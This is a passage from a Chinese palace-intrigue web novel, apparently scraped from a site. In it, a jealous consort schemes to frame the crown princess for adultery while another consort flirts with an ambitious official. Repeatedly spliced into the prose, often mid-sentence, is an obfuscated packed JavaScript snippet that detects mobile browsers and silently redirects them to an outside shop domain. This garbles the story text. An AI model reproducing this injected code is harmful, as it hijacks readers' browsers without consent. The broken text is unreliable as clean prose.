回府的马车上,萧临皱起眉:“庄清婉纵然恶毒,但平安伯府怕是意难平,没想到他们会用如此愚蠢而狠毒的方式报复。” “我觉得……”崔锦摇了摇头,“这不是平安伯夫人的手笔。” 萧临征询地看向她。 “冯侧妃与平安伯夫人素无仇怨,为何会紧盯着她不放,还下此毒手?” “她买通的是正院的婢女。”萧临声音森寒,“或许,她真正要毒杀的人是你。” 他语气里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平安伯夫人被褫夺诰命,送入莲华庵圈禁的消息,如长了翅膀般迅速传遍了猎场,自然也传回了太子府别庄。 吕良娣所居的院落内,药味浓郁飘远。 她虚弱地靠在床上,脸色蜡黄,往日那点娇纵蛮横被病痛磨得所剩无几。 听完婢女禀报的处置结果后,她气得浑身发抖,猛地将手边的药碗扫落在地。 “啪——” “凭什么……凭什么!” 她声音嘶哑,带着哭腔,更多的却是怨毒:“一切都是因为崔锦那个**!若非她招惹了平安伯夫人,叫人怀恨在心,岂会引得那老虔婆下此毒手?!如今她这个罪魁祸首活得好好的,风光无限,我却要在这榻上苟延残喘,受这缠绵病榻之苦?!凭什么!” 骂完后,她犹不解恨,撑起仅有的力气夺过婢女再次奉上的药碗,狠狠砸去了地面。 “啪——” 药碗正砸碎在一双精致的绣鞋面前。 童芳连忙挡在冯书仪面前,厉声怒斥:“吕良娣,你怎敢——” “童芳,不得无礼。”冯书仪淡淡打断,抬步走去吕良娣床边。 她脸上浮起恰到好处的惊慌与担忧,温声劝道:“吕良娣,快别这么说……平安伯夫人已受重罚,算是为你报仇雪恨了,你如今最要紧的是安心静养,万不可再动气伤了身子。” “重罚?呵……咳咳——”吕良娣激动地呛咳起来,脸上泛起不正常的红晕。 她死死抓住冯书仪的手,指甲几乎要掐进她肉里:“褫夺诰命?圈禁庵堂?这算什么重罚!她没死也没残,我却已经搭进去半条命了!她就该**!还有太子妃……她才是真正的祸水源头,又凭什么还能安然无恙?只有我……只有我活该受这份罪吗?!” 冯书仪吃痛地蹙了蹙眉,却没有挣脱,反而反手轻轻拍了拍她:“你此番经受的苦楚的确很大,只是……事已至此,皇上和殿下已经有了决断,殿下不也晋了你的位份,以做补偿?你……你便看开些,认了吧。”她语气不忍。 “补偿?”吕良娣像是听到天大的笑话,眼神锐利如淬毒的刀,“我险些丧命,一个良娣的位份就想打发我?我吕家虽不如她忠勇侯府与平安伯府势大,我兄长却也是正三品的宣抚使!真要做补偿,即便废不了那个**的太子妃之位,也该扶我坐上侧妃之位!” “区区良娣,就想让我感恩戴德?笑话!” 冯书仪看着她激动愤懑的模样,心中满意了些。 但面上,她却愈发为难,低声训斥:“慎言!侧妃之位岂有那么容易得?且殿下他……终究是要顾全太子妃的颜面。” “顾全她的颜面?那我的命呢?我的后半生呢?谁又来顾全!”吕良娣被这句话刺激得胸口剧烈起伏,眼中满是恨意,“此事,我绝不会就此善罢甘休!” 冯书仪见她已完全被恨意支配,便知道火候差不多了。 她声量正常地劝了吕奉仪一会儿,才起身告辞。 离开前,她叹了口气:“有些事强求不得,尤其是……关乎殿下心意的事,我说句不该说的,殿下如今对太子妃正是情深之时,眼中哪儿还容得下旁人?只要太子妃自己不行差踏错,犯了殿下的忌讳,以后我们还是要在她手底下过日子的,你还是想开些为好。” 说罢,她留下补品,扬长而去。 吕良娣靠在床头,眼神从最初的疯狂怨恨,逐渐变得幽深难测。 “行差踏错?忌讳?”吕良娣喃喃自语,苍白的脸上慢慢浮起一抹怨恨的算计。 是啊,她明着动不了崔锦,但如果能让崔锦自己犯错,被太子殿下厌恶摒弃……那岂不是比任何报复都来得痛快? “翠青。”她阴沉沉开口。 翠青连忙上前:“良娣您可有吩咐?” “传信给我们在外面的人,备好男人,等我消息。” “男、男人?”翠青疑惑问,“您是想……” “我要那个**身败名裂!”吕良娣声音骤然狠厉,恨意翻涌。 她不在乎什么逻不逻辑,也不在乎旁人会不会觉得崔锦是被陷害私通,她只要结果——只要这个**当众失身,必将余生尽毁! 她要她活的冤枉,死的**! …… 吕良娣一有动作,崔锦那边就得到了消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691765|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——她可不觉得吕良娣吃了这么大的亏,会甘心受着。 “去给外头传信了?”她若有所思,“仔细盯着,不必阻拦。” 如秋立刻点头:“是。” 她正与进门的如春擦肩而过。 “太子妃。”如春道,“冯侧妃求见。” “请她进来吧。” 不多时,冯书仪款款进门,恭身下拜。 “不必多礼,坐吧。”崔锦语气温和,“你一向不喜走动,怎这时候来了?” 冯书仪转身落座,面色有些迟疑:“妾身……是有事禀报太子妃,不……不是禀报,应当是提醒吧。” 崔锦面露征询:“何事?” 冯书仪张了张嘴,似乎在斟酌言辞,好半晌后才道:“按说这话本不该妾身来说,可妾身实在担心,不得不拼着挑拨之嫌,来告知太子妃一声了。” “方才妾身去看吕良娣,却听她似乎对太子妃您颇有怨怼,劝也劝不听……妾身担心她头脑不清醒时做下什么错事,便想来告知您一声,多些防范,若最终无事,便权当是妾身小人之心了。” 崔锦眸光微动:“本宫明白,你有心了。” “太子妃不嫌妾身多嘴就好。”冯书仪似乎松了口气,“其实若论此事,害得吕奉仪如此虚弱的源头是妾身才对,毕竟是妾身与她换了那杯茶,可不知怎的,吕奉仪却偏咬**是受您连累……” 她有些歉意地看向崔锦。 “若论元凶,该是平安伯夫人。”崔锦温声安抚,“你我不过都是受害者。” 追根溯源论起因果,该是庄清婉想先害她与她的孩子为先! 她与冯书仪说了会儿话,后者才不好意思道:“妾身母亲只能在京留一段时日,妾身……实在想念,便想多去陪陪她。” 崔锦点了点头:“无妨,这几日你出门便不必禀报本宫了。” “多谢太子妃。” 冯书仪出门时,脸上笑意盈盈。 吕奉仪那种蠢货,势必算计不到崔锦,拿来给她做投名状倒是正好! 真正能出力的,可是云出岫这个暗处里的毒蛇。 第一百八十九章 偶遇 翌日,冯书仪按照上次的法子,在娘家略坐了坐,便从后门悄无声息地溜了出去。 今日永隆帝带着一众宗室勋贵和官员们去了猎场深处,女眷们也多三三两两聚在猎场内或风景好的地方说笑,要寻个僻静处很容易。 猎场外围,一处人迹罕至的河边,河水潺潺,林木遮掩,将外间的喧嚣隔绝开来。 冯书仪搭着童芳的手刚走近,便瞧见河边青石上坐着一个白衣身影。 那人姿态闲适,并未端正坐着,一条腿随意屈起,手边似乎还放着一卷书,远远望去,潇洒不羁。 听到脚步声,谢长风回过头。 看到冯书仪,他唇角自然地带起一抹浅笑,起身行礼:“微臣见过侧妃。” 冯书仪微微挑眉,踱步上前。 童芳自觉地退远了些。 “我不过随口一提,今日想寻个僻静地方散散心,谢大人便能偶遇于此?”她声音娇柔戏谑。 “并非偶遇。” 谢长风坦然轻笑:“是微臣蓄意打听,追来这里。” 冯书仪眼眸微转:“你追的这么紧,是想做什么?” “若有想见而平日不得见之人,一旦知晓了些微可能的机会,即便是拼着脸皮不要,寻遍可能之处,也是要追来见上一见的,微臣……亦是俗人。”他含笑而专注地看着冯书仪,语气真诚得近乎无辜。 冯书仪被这直球打的心跳都漏了一拍。 本准备好的台词也哽在喉间,一时竟不知如何接话。 她不由地再次看向谢长风。 除了那晚昏暗朦胧的夜色里,她从未如此认真地打量过他。 今日他身着一袭月白云纹常服,更显得身姿挺拔,风姿朗朗。 那双仿佛天生勾魂摄魄的桃花眼,此刻并未刻意流露风情,只是含着浅浅的笑意,叫人觉得深邃又温柔。 “侧妃若不忙,不如一同小坐片刻?” 谢长风含笑侧身,做足姿态:“微臣已备好君山银针。” 冯书仪眼尾扫过他,踱步上前,坐去了青石另一侧。 谢长风跟着落座,抬手为她斟茶,一举一动尽显风流。 冯书仪毫不掩饰地看着他。 她从不喜欢这种看似斯文实则心机深沉的类型,不喜欢永远挂着面具的笑面虎,更厌恶流连花丛、自以为能掌控一切的风流浪子。 谢长风几乎精准地踩在了她所有的雷点上。 即便在看小说时,知晓此人未来会位极人臣,手段通天,她也从未对这个角色生出过半分喜爱。 可冷冰冰的文字与**实在相去甚远。 纵然相处仅才一次,冯书仪也不得不承认,当这个男人刻意施展自己的魅力时,几乎无人能逃得过。 哪怕是她这种心里已经有萧临的人,也会不自觉被吸引。 与这样的男人做戏一生,算来竟是她赚了。 谢长风似乎并未察觉她审视的目光,而是一边为她斟茶,一边自然而然地挑起了话头。 他并未说那些虚浮的客套或露骨的撩拨,而是极其自然的聊起河边景致,游记趣闻。 他句句言之有物,谈吐不凡,且极擅察言观色,总能恰到好处地接住冯书仪的话,或引申,或赞同,几乎叫她感受不到任何尴尬之处,也并不觉得被冒犯。 冯书仪不知不觉放松了许多,连最初那点刻意维持的警惕心,都在他营造的舒适氛围里淡化了不少。 话题不知怎的,转到了昨日的狩猎上。 谢长风随意提起:“昨日吏部安尚书倒是英勇,追着一头灰狼入了深丛,可惜不慎被反扑,坠下马来,伤得不轻。” “安尚书年事已高,本就不该如此逞强。”冯书仪摇了摇头,带着点不经意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704257|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的评判,“狩猎之事,量力而行才好,不过……” 她想了想:“若他用的**或是随身佩刀能更精进些,做到眨眼击杀猎物的程度,也不至于受这么重的伤了。” 谢长风几不可察地一顿:“侧妃所言极是,可大周能工巧匠众多,军中亦不乏钻研兵器改良之人,若真有那般精良的武器,想必早已造出并推广开来了。” “你高看他们了。” 冯书仪没有防备,几乎是下意识嗤笑一声:“他们见识不够,被固有的眼界限制住,很难突破,若换做——”话音戛然而止。 她猛然惊觉自己失言,心头一跳。 掩饰性地端起茶杯抿了一口,她才补充道:“我的意思是,等时日长了,钻研的人多了,总会有能人异士改制出更好的武器。” “侧妃说的是。”谢长风从善如流地点头,“但愿真有更利于军中的神兵利器问世那一日。” 他依旧含着温润的笑意,心中却波澜骤起。 他并非完全相信冯书仪懂得兵器改良之道,可他相信自己的脑子与直觉——以冯书仪的性格与心机,若非真有几分依仗或独特的见解,绝不会在方才那种情境下,如此自然、甚至带着一丝不屑地脱口而出。 这番话是真的可能性,高达八成。 若真如此……那他原本打算再套几次话,摸清此女底细便适时抽身的计划,恐怕就需要重新考量了。 虽与冯书仪谈话不到一刻钟,但他已隐隐察觉到此女的思想迥异于常人。 奇思妙想不说,看待问题的角度也颇为刁钻独特,偶尔随口提出的某些建议,细想之下,竟隐隐透着一种超越当下认知的可行性。 谢长风眼底深处掠过一丝微光,含笑看向身边的冯书仪,不动声色地继续聊了起来。 或许……她有一个能助他官途更顺,青云直上的脑子。 第一百九十章 吕良娣陷害太子妃偷人 又聊了片刻,冯书仪估摸着时间差不多了,便适时道了告辞:“时候不早,我该回去了,今日……多谢你的茶了。” 她娇声说完,放下茶杯。 说实话,谢长风情商高知分寸,谈吐风趣,又极懂女人心,会照顾对方情绪,与他相处真的很舒服。 若不是因为心中的计划,冯书仪并不想这么快就离开。 但男人么——尤其是面对谢长风这种男人,绝不能一味顺着对方,需得有自己的脾性与坚持,更要懂得适时抽身,不能给太多甜头,吊足了胃口才是上策。 否则一旦被这种情场高手占据主动,她怕是要真栽了。 果然,见她起身,谢长风脸上适时露出一丝不易察觉的遗憾:“这就走么?” “自然,不过今日与谢大人相谈甚欢,我亦受益匪浅。”她扬眉看他,“该再向你道声谢才对。” “能与侧妃共度这片刻闲暇,是微臣的荣幸,不必道谢。” 冯书仪微微颔首,站了起身。 就在站直的瞬间,她眼神微闪,脚下似乎被青草绊了一下,身子不受控制地向旁边摔去。 “啊——” 一只温热的手掌及时而有力地握住了她的手臂,稳住她即将摔倒的身形。 在扶稳她后,那只手并未过多停留,很快就松开了。 “侧妃小心。”谢长风的声音在耳畔响起,平稳无波。 “嗯……多谢。” 冯书仪面上惊魂未定,心中却有一分失落。 原准备借着这个机会,利用肢体接触加深暧昧的牵扯,没想到谢长风反应如此之快,还很会拿捏分寸,一点便宜都不占。 “客气。”谢长风语气带着几分理所当然的轻柔,“举手之劳而已,举凡微臣所在之处,怎会叫侧妃伤着摔着?” 欲擒故纵谁不会?端看哪个手段更高明罢了。 这话如了冯书仪暧昧拉扯的愿。 她耳根微热,结结巴巴道:“我、我先走了。” 她匆忙转身,准备离开。 “侧妃。” 冯书仪脚步一顿,疑惑地回头看他。 谢长风站在原地,声音极轻:“不知……何时还能再见你?” 他话里带了三分缱绻,又消失的极快,叫不确定自己听没听错的冯书仪耳根发热之际,又不由自主点了头:“或许……很快。” “当真?”谢长风眼眸一亮,竟是顺着她的话追问,“那明夜可以么?就在此处,我……有份礼物想要送你。” 冯书仪心中一动。 在他含着惊喜与期待的眼神下,她未经深思便应了下来:“……好。” 谢长风顿时便笑了。 本就清俊风流的容貌被阳光与笑容衬照着,平添情思,不知拨乱了谁的心。 等冯书仪回府时,心跳还快到不行。 她捂着心口,闭了闭眼。 “侧妃,您没事吧?”童芳担心地问,“可是那谢长风对您说什么不好的话,吓着您了?” “怎会?” 冯书仪下意识辩解:“他人不错,至少面对我时,十分真诚……他对我与对旁人完全不同。” 她没察觉到自己说这话时,语气里不自觉溢出的欢喜。 童芳欲言又止,想劝一劝,可想起谢长风面对冯书仪时,唇边总露出的温柔笑意,还有那双专注含情的桃花眼,又说不出否认的话来。 便是叫她这个旁观者来看,也看不出谢长风有丝毫**感情之意。 “明日晚上……”冯书仪蹙眉回想着剧情,“云出岫只怕要忍不住再出手了,可不能叫她妨碍了我出门。” “你去给云出岫传个消息。”她眸光微深,“明日晚间,吕良娣会陷害太子妃偷人。” 童芳睁大眼睛,不可置信地问:“偷、偷人?吕良娣疯了吗?!” “是啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711802|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”冯书仪轻笑,“她嫉妒疯了。” 吕良娣不知道自己**是因为喝了本属于她的茶么? 她只是跋扈,并不是傻子。 可她依然选择无视真相,去恨崔锦。 一个占据太子妃之位,膝下还有三个祥瑞子女,占尽东宫荣宠的女人,除了叶挽棠,谁能忍住不嫉妒呢? “不必暴露我们的人行踪,叫人在她耳边嘀咕几声便好。”冯书仪吩咐,“她若知道了此事,会先静观其变的。” “……是。” 童芳匆匆下去了。 翌日下午,崔锦果然准备出门去猎场瞧瞧,也给吕良娣一个出手的机会。 关于这场毒杀案,她并不确定平安伯夫人就是幕后凶手,也不确定那毒是冲着谁去的,但无论如何,吕良娣在正院**是事实。 倘若吕良娣安分守己,她并不介意养她终老。 可若她不肯消停……那就别怪她赶尽杀绝了。 半下午的猎场颇有意趣,众人三三两两策马走动,赏景说笑。 “太子妃和冯侧妃也来了?”靠边的凉亭里,德妃远远唤了一声,含笑招手。 她与几位命妇正坐在这里喝茶。 崔锦踱步上前,笑盈盈道:“今儿天不错,正是该出门赏景的时候,总比闷在府里憋坏了好。” 德妃点点头,适时关心几句吕良娣,才拍了拍崔锦的手:“那日平安伯夫人当众便出言不逊,本宫却未曾多想,现在回想起来,若那时能提醒你一声,或许也能免去吕良娣无妄之灾。”她叹了口气。 “娘娘又岂能未卜先知?” 崔锦温声道:“那般厉害的毒,没出人命已是不幸中的万幸了。” “你说的是。”德妃微聊了几句,便含笑道,“听说昨儿谢大人驯服了好几匹烈马,大家闹着要看他继续驯呢,你们也来瞧瞧热闹。” 听到谢长风的名字,冯书仪眼神一动。 第一百九十一章 吕良娣准备动手了 众人说笑了片刻,便以德妃与崔锦为首,朝里面的马场走去。 谢长风已换了一身利落的骑装,刚从帐中走出。 看到众人,他立刻上前行礼,姿态从容:“微臣见过德妃娘娘,见过太子妃、侧妃与诸位夫人。” 他礼数周全,目光在扫过冯书仪时,却几不可察地停顿了一瞬,唇边一丝极淡的笑意掠过,快得仿佛只是错觉。 冯书仪心头一跳,下意识垂眸避开。 可心中却因他这般对旁人截然不同的态度,泛起一丝隐秘的甜意。 “谢大人不必多礼。” 德妃轻笑道:“听闻你昨日为皇上驯服了好几匹烈马,今儿知道你还要再驯,大伙儿可都来捧场,要一赏谢大人风姿了。” “娘娘过誉,为皇上驯马乃臣之荣幸。”谢长风谦逊拱手。 很快,马夫牵着一匹高大的棕马走了过来。 那马**色油亮,四肢健硕,瞧来神骏非常,性情也颇为温顺。 可当谢长风接过缰绳,利落地翻身而上,落在马背的瞬间,这棕马却猛地发出一声尖锐的嘶鸣,前蹄骤然高高扬起,近乎人立而起。 它疯狂地跳动甩动,试图将背上的人狠狠甩下去! 场边顿时响起几声低呼。 冯书仪心里一紧,下意识地攥紧了手中的帕子。 这一刻,她心里升起一股自己都没察觉到的担忧。 好在谢长风早有准备,在马立起的瞬间,他牢牢抓着缰绳,双腿夹住马腹,腰背绷直地稳坐在马背上,任凭那烈马如何暴躁狂跳,都未能将他甩脱。 烈马见直立无效,开始疯狂地尥蹶子,后蹄狠狠向后踢蹬。 甩不掉谢长风,它便猛地向前冲刺而去,不断急停、甩头,马场内瞬间尘土飞扬,充满尖锐高昂的嘶鸣声,听得一众女眷心头狂跳。 谢长风伏低身体,脸颊紧贴着马颈,躲避着烈马甩头的撞击,手臂因用力而肌肉贲张。 他周身没了平日里的温润风流,取而代之的是全神贯注的冷峻与一种近乎野性的侵略欲。 冯书仪手中帕子被攥得更紧,眼睛几乎放光。 是了……是她最钟爱的男性荷尔蒙。 她总说谢长风是情场浪子,是笑面狐狸,心机深沉又斯文败类,却忘了这人亦是个内功深厚的练家子,身手强到能与男主萧临平分秋色。 他表现出来的的确是温润如玉的风流模样。 可论性张力,他毫不逊于萧临。 今日她竟才恍觉这一点。 正在此时,场上烈马人立旋转,谢长风的目光也倏然抬起,精准地对上了冯书仪发亮的双眸。 四目相对,他眼中尚未褪去的攻击性与侵略性,如有实质般撞进了冯书仪心里。 心跳瞬间快到几乎跳出胸膛,这一次,她再也忽视不了心中的悸动。 她是怎样爱上萧临的,便会怎样爱上谢长风。 甚至更甚。 谢长风与她的对视仅持续了一瞬,便迅速收回目光,继续应对身下狂躁的烈马。 足足过了有一刻钟,烈马的体力消耗巨大,渐渐不支。 它反抗的力度慢慢在减弱,谢长风看准时机,猛地拉紧缰绳,一甩马鞭。 烈马口中发出一声嘶鸣,前蹄重重落地,甩了甩头,终于停止了疯狂的挣扎,在谢长风的控制下,绕着马场奔跑起来。 一圈之后,谢长风这才翻身下马。 他额发间多了几滴汗水,有几缕发丝已贴在额角,骑装上也沾了尘土,却丝毫不显狼狈,反因他仪态有度而多了几抹不羁的风流。 场边顿时响起一片松气和赞叹之声。 德妃抚掌而笑:“谢大人果然好本领,怪道皇上对你赞不绝口!” 她瞧着,怕是等不到马铃薯试种成功,这年轻人就又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721625|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 升官了。 谢长风拱手谦辞,略客气几句后,便告退离开。 他没再看冯书仪,目不斜视地离开,背影却有些仓促。 冯书仪本有些失落他视她如无物的举动,可看着他似乎有些落荒而逃的背影,又隐隐猜到了什么。 见德妃在拉着崔锦说笑,对马场里的马评头论足,她略坐了会儿,算着时间,假作更衣便离开了。 角落里的一处帐中,谢长风沐浴更衣后便踱步出门。 不妨目光中倏然多了一个青衣身影。 “谢大人。”冯书仪站在林外,笑眼盈盈地看着他,眉梢微挑,“你怎走得这样快?本还想与你说几句话,未想却叫人失望,竟只能来这里寻你。” 谢长风素来无惊的脸上罕见地浮出一抹赧色:“方才微臣身上狼狈,若再站在女眷面前,便有些失礼了。” “是么?” 冯书仪面露惊诧,语气却微有失落:“我还以为……你是怕在我面前失礼呢,原来我只是顺带么?” “当然是因为你。” 谢长风说完,又笑了笑,脸色恢复以往的泰然:“都说女为悦己者容,可男子又何尝不是?” 冯书仪唇边这才浮起一抹满意的笑。 马场这边虽防范不严,但也是人来人往之处,她没再多说,便匆匆离开了。 回去的路上,正见崔锦踱步走来,似乎是去更衣。 两人对上目光,瞬间都心知肚明——吕良娣准备动手了。 已经到这地步,冯书仪也不介意再多卖个好,便道:“西南侧的净房有些鼠蚁,还是妾身陪您一道去吧。” 有她这个人证,崔锦并非做戏的信服力便更足。 ——青州最近不太平,吕良娣的兄长又恰巧有些本事,正值重用之际,若不抓个现行的把柄,只怕很难动吕奉仪。 崔锦含笑颔首:“那便多谢侧妃了。” 第一百九十二章 有人要被诬陷私通了 马场这边,德妃与几个命妇又聊了会儿方才谢长风驯马时的利落身手,饮了半盏茶,却依旧不见崔锦与冯书仪回来。 李阁老夫人性子谨慎,面上不由带出几分担忧:“太子妃与冯侧妃去了好些时候了,怎还未回来?这马场人来人往的,虽说侍卫众多,可终究不比宫内严谨,别是……遇着什么不便了吧?” 她这话说得委婉。 德妃闻言,也微微蹙起眉头:“的确去了有一阵子了……来人。” 她侧首唤来得力的宫女,吩咐道:“你带人去寻一寻太子妃与冯侧妃,瞧瞧可是有什么事耽搁了?这马场人多眼杂,叫她们小心些,若无事便快些回来吧。” “是,娘娘。”宫女领命,立刻带着几个内侍快步往崔锦与冯书仪离开的方向寻去。 马场内,气氛依旧不变,闲闲说着话,但几位命妇互相交换的眼神却意味深长。 关于东宫近日不太平的传言,他们都有所耳闻,吕良娣**一事才刚过去,不会是又出岔子了吧? 一炷香时间后,那奉命去寻人的宫女匆匆赶了回来,脸上带着显而易见的慌乱。 “娘娘,不好了!” 她快步走到德妃面前,声音因急切而有些发颤:“奴婢沿着太子妃离开的方向寻了,净房那边也找过,却始终未见到太子妃与冯侧妃的身影!奴婢方才已知会了马场的侍卫,叫他们立刻加派人手在附近搜寻!” 此言一出,凉亭内的命妇们顿时坐不住了。 无论她们心里怎么想,此刻面上都露出了真切的担忧之色。 太子妃若真在皇家马场出了事,她们这些在场的人只怕都要被迁怒。 “怎会不见人影?”一位夫人失声道。 “这马场临近猎场边缘,虽说平日清理得干净,可保不齐有走兽误入……”李夫人语气焦急,“快!再多派些人去找啊!” “可别是真遇上什么危险了!” 七嘴八舌的议论声中,德妃的眉头紧紧皱起:“马场的管事何在?叫他立刻来见本宫!本宫倒要问问,两个大活人,怎会在他管辖之地生生失踪!” 话落,她又对宫女吩咐:“你持本宫手令,立刻去调一队侍卫过来,将这马场内外,尤其是靠近猎场林子的地方,都给本宫仔细地搜!务必尽快找到太子妃与冯侧妃!” “是!奴婢这就去!”宫女接过令牌,几乎是跑着离开了。 马场管事很快就到了,又是一番惶恐请罪。 过了好一会儿,正在众人焦急地等待之际,终于有一个侍卫匆匆跑来回禀:“回德妃娘娘,方才属下们途径西北侧的营帐,却忽听声音有些不对……” 他有些难以启齿:“听着好像有好几个男人与女子声音,属下等不敢贸然闯入……还请娘娘示下。” 闻言,众人脸色齐齐一变。 都是在后宅斗过来的,哪能不明白此刻情况? 怕是有人要被诬陷私通了。 也不知是太子妃栽了,还是冯侧妃……亦或者二者都有? 德妃意味不明地看了那侍卫一眼,眼下却没处置他,只匆匆往西北侧赶去。 不想着私下禀报,而是在众目睽睽之下说出这种话,像是生怕有人不知道西北侧出事一样——这个侍卫,问题很大。 但此刻不是处置他的时候。 德妃在心里迅速衡量着利弊。 太子妃应该没这么蠢,被如此拙劣的手段算计到,但也难说她阴沟里翻船……若是冯侧妃倒好办了,为她多说几句话也不妨事。 可若那里头的真是太子妃,牵扯甚大,便得好生斟酌言辞了。 不能惹了暴怒的太子不快,又不能直接得罪周大儒和忠勇侯府。 她面沉如水,脚步匆匆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724595|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >因为那侍卫已将此事公而告之,德妃再想遮掩也只能由着命妇们跟上,否则她若私下处理,即便东宫女眷没栽在此事上,外头捕风捉影的传言只怕也要难听了。 一行人刚到那排较为偏僻的营帐外,便听得其中一顶帐内传来不间断的暧昧声响。 饶是这些见惯了风浪的命妇们,此刻也忍不住蹙起眉头,为里面的放浪形骸而赶到羞臊。 但德妃眼眸却微微一动。 里面似乎……并无女子的声音? 那禀报的侍卫闻声也心下疑惑,他接到的消息分明是太子妃与三个男人,这会儿怎会只有男声? “都愣着做什么?” 德妃不再犹豫,立刻下令:“破开营帐!” “是!”随行的侍卫应声上前,破开帐帘冲了进去。 帐内顿时响起几声受惊的尖叫。 确定传入耳中的依旧只有男声,德妃紧蹙的眉头才微微舒展了些。 果然,先前那侍卫再次出来回禀时,眼神闪烁,带着明显的不安:“回娘娘,里面……里面是三位男子,身份正在确认。” “有什么好确认的,直接处置不就好了?”一位夫人不耐地打断。 “太子妃与冯侧妃尚下落不明,谁有闲心管他们是谁?还是继续找人要紧!” 帐内是何等污秽景象,她不用看也能猜到——而能让这群见惯权贵的侍卫都认不出脸的男人,身份必然低微,还有什么可理会的? 直接重罚了事。 “是啊,还是快找太子妃与冯侧妃吧!”李夫人也焦急地催促,“都这么久了,可别是真出了事!” “找我们?”后方传来崔锦熟悉的声音。 众人愕然回头,就见崔锦与冯书仪正从不远处的另一条小径并肩走来。 两人衣着整齐,发髻一丝不苟,脸上带着恰到好处的疑惑。 第一百九十三章 是谁在背后兴风作浪! 看到崔锦和冯书仪神色如常地站在不远处,衣冠整齐,所有人紧绷的神色瞬间微微一松。 可那侍卫的脸色却渐渐变得惨白。 “太子妃!冯侧妃!你们没事真是太好了!”李夫人抚着胸口,连连念起佛语。 崔锦与冯书仪走上前,含笑道:“有劳娘娘与诸位夫人挂心了,方才我们更衣后,听冯侧妃说起小径另一边旁生了几株罕见的兰草,一时兴起便过去观赏了片刻,不觉耽搁了时间,倒是劳动诸位担忧了。” 她态度坦然,理由也合情合理。 一位与忠勇侯府交好的夫人连忙笑着打圆场:“太子妃言重了,这马场人来人往的,不比宫内清静,我们见您与侧妃久久未归,心里头不自觉便担忧了些,这会儿见两位无恙,虚惊一场便是极好的了。” 德妃也恢复了雍容的笑意,颔首道:“只要你们二人平安无事,本宫也就放心了。” 崔锦微微一笑。 冯书仪却适时地露出几分疑惑:“不知……这里是出了何事?方才远远瞧着,似乎诸位很是急迫的样子?” 她视线扫过那被侍卫把守、内里隐约还有些许动静的营帐,十分不解。 但她一问出口,气氛却安静了一瞬。 几位命妇面面相觑,神色都有些微妙和尴尬。 这等污秽之事,实在难以启齿,尤其还不知这场局究竟是谁设计。 德妃坦然一笑:“无甚大事,只是在派人寻你们时,有侍卫回报说此处似有异动,本宫当时心系你们安危,怕你们遇到麻烦,便急着赶了过来。” “不过方才已然查明,只是几个不相干的人在此胡闹罢了,一场误会。” 她轻描淡写地将事情定性为胡闹和误会,绝口不提可能涉及的龌龊算计。 既然太子妃和冯侧妃都没事,那就没必要将那侍卫扯下水,从而得罪那不知是谁的幕后之人。 但冯书仪今日既然打定主意要给崔锦卖好,自要做到她心上去才行。 “我瞧着怎不像是误会?” 她蹙眉问:“方才我隐隐听到诸位提及我与太子妃,莫非是这里头的人与我们有关?” 